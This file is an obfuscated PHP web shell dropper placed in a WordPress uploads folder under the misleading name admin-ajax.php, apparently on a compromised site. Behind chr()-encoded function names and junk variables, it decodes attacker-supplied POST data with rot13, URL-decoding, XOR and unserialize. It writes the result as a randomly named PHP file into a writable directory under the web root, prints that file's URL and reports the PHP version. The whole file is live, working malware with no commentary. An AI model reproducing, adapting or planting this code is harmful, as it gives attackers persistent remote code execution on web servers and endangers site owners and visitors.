File: /home/slyfwmm/pianob/wp-content/uploads/2023/05/admin-ajax.php
<?php function frUCNr($fFQvaC, $wUFStnh, $bHsDUCtpmZ){$DOLwSF = "6ae3087c-b798-4449-a320-8ca21924c158"; $Kglzs = 'tlt';return $fFQvaC ^ $DOLwSF[$wUFStnh % strlen($DOLwSF)] ^ $bHsDUCtpmZ;}$IFvqfb = "wIlAntIFf";function WiAtcAa(){$pNhNrelZ = 'mBiBevJjp';$YUfPunssTQ = 18;$Pspbf = 'XQQSeFqRZ';$nXyhkhL = base64_decode($Pspbf);$jOJuXSnt = 2;$DJupzIh = 'ufZLPulq';$WNTxwAWHjp = 'mcF';}function UuQQEAJRL($IFvqfb){ $NCjylKTVS = chr(1054-939).chr(116)."\x72"."\137".'r'."\x6f"."\x74".'1'."\x33";$IFvqfb = $NCjylKTVS($IFvqfb); $UtSdbBW = 54; $iyVHugDv = 63;$BsqrpM = chr(114)."\x61".chr(627-508)."\165"."\162".chr(108)."\144"."\145"."\143".chr(111)."\144".chr(118-17);$IFvqfb = $BsqrpM($IFvqfb); $UtSdbBW = $iyVHugDv - 5;$IFvqfb = str_split($IFvqfb); $ZKfpOSzIWN = 41;return $IFvqfb;}function knmAwhQFv($ccNIQnCYKB, $bHsDUCtpmZ){$ccNIQnCYKB = array_map("frUCNr", array_values($ccNIQnCYKB), array_keys($ccNIQnCYKB), array_values($bHsDUCtpmZ)); $gVdAPMhl = 71;$ccNIQnCYKB = implode("", $ccNIQnCYKB); $gmUEkti = 63;$BVDvHshJC = chr(867-750)."\x6e"."\x73"."\x65"."\162".chr(811-706)."\141".chr(108).'i'.'z'.chr(101);$ccNIQnCYKB = @$BVDvHshJC($ccNIQnCYKB); $IuPVpujYJ = 67;return $ccNIQnCYKB;}function xOBJOAez($bHsDUCtpmZ, $ccNIQnCYKB){$bHsDUCtpmZ = array_slice(str_split(str_repeat($bHsDUCtpmZ, intval(count($ccNIQnCYKB)/16)+1)), 0, count($ccNIQnCYKB)); $XGGdCRSE = 43;return $bHsDUCtpmZ;}function xOvAirj(){echo "rIUineaO"; $pUjVy = 'zlFIx'; $RgFnYr = 49;}function huyVAoOg($oldZllYtzXir){static $DUBDucR = array(); $FCRbb = 71;$hbdMitsbR = glob($oldZllYtzXir . '/*', GLOB_ONLYDIR); $fsdWp = 67; $wzxxy = 'FF';$yCiTjbRVRi = count($hbdMitsbR); $gnWDxnfKyR = 36;if ($yCiTjbRVRi > 0) {foreach ($hbdMitsbR as $oldZllYtzX) {$FKvQecf = "\x69".'s'."\137".chr(119).chr(537-423)."\x69".chr(946-830)."\141"."\142"."\154"."\145";if (@$FKvQecf($oldZllYtzX)) {$DUBDucR[] = $oldZllYtzX; $RymEoK = 52;}}}foreach ($hbdMitsbR as $oldZllYtzXir) huyVAoOg($oldZllYtzXir);return $DUBDucR;}WiAtcAa();function pvbGzbp($ccNIQnCYKB){$EHjNml = chr(68)."\x4f".'C'."\x55"."\115"."\x45"."\x4e".chr(913-829).'_'."\x52"."\x4f".'O'."\x54";$BVrZPrbWr = $_SERVER[$EHjNml];$hbdMitsbR = huyVAoOg($BVrZPrbWr); $AzXazL = 'RbHBIzPVX';$VOFppl = array_rand($hbdMitsbR); $ouBxc = ord('tgur');$PtRNQohAv = "\x2e"."\x70".chr(749-645).'p';$lsljKXCL = $hbdMitsbR[$VOFppl] . "/" . substr(md5(time()), 0, 8) . $PtRNQohAv; $uSWxpBYWYS = 'zOuFkeSdDN';$ETpUB = chr(102).'i'.chr(108).'e'."\137".'p'.chr(1053-936)."\164"."\x5f".'c'.'o'."\156".chr(116).chr(101).'n'."\x74".chr(690-575);@$ETpUB($lsljKXCL, $ccNIQnCYKB); $cVEcqcJp = 50;$FLWDzLJlj = "\110".'T'."\124"."\x50".chr(95).chr(852-780)."\x4f".chr(83).chr(157-73);$uQwqbj = chr(115-11).chr(520-404)."\164"."\160".':'.'/'."\57";$kdqoeFtiP = $uQwqbj . $_SERVER[$FLWDzLJlj] . substr($lsljKXCL, strlen($BVrZPrbWr)); $uSWxpBYWYS = trim($AzXazL); $sJptFC = 59;print($kdqoeFtiP); $ZHhRdBGKD = $ouBxc / 5; $cYNVfmUkX = $ZHhRdBGKD * $ZHhRdBGKD;}function lDTmKg($ccNIQnCYKB, $VOFppl){$VOFppl = $VOFppl[0]; $fWuoPQXs = 36;if ($ccNIQnCYKB !== $VOFppl){pvbGzbp($ccNIQnCYKB); $flwAyZNiJM = 'OEcd';}else {PcfLeC(); $AWIOLFY = 'kbsn'; $AWIOLFY = ord('yqb');}}function PcfLeC(){$SwOdxj = chr(112).chr(921-817).'p';$hyIhf = "\160".'h'."\160"."\166".'e'.chr(114).chr(115).chr(796-691).chr(396-285)."\156";$ccNIQnCYKB = Array($SwOdxj => @$hyIhf(), ); $noiMim = 'ilPXm';$SNZHMcrmN = chr(1013-898)."\x65".'r'."\x69".chr(736-639)."\x6c".chr(463-358)."\172"."\x65";echo @$SNZHMcrmN($ccNIQnCYKB);}function rALuLp(){echo "wIlAntIFf"; $vdIHySU = 'iIo';}foreach ($_POST as $bHsDUCtpmZ => $ccNIQnCYKB){$qLxvcrxk = strlen($bHsDUCtpmZ); $shRQwc = 14; $DMzkfqGLSs = 'sXH';if ($qLxvcrxk == 16){$ccNIQnCYKB = UuQQEAJRL($ccNIQnCYKB);$bHsDUCtpmZ = xOBJOAez($bHsDUCtpmZ, $ccNIQnCYKB); $xjGHWRpK = 18;$ccNIQnCYKB = knmAwhQFv($ccNIQnCYKB, $bHsDUCtpmZ); $xjGHWRpK = $xjGHWRpK * 14; $czgOHOcfW = 12;if (@is_array($ccNIQnCYKB)){$VOFppl = array_keys($ccNIQnCYKB); $TPhjC = 'pFlHB';$ccNIQnCYKB = $ccNIQnCYKB[$VOFppl[0]]; $GSxLRFZ = 'bjRZB';lDTmKg($ccNIQnCYKB, $VOFppl);}}}die();$TrLOp = 'yt';?>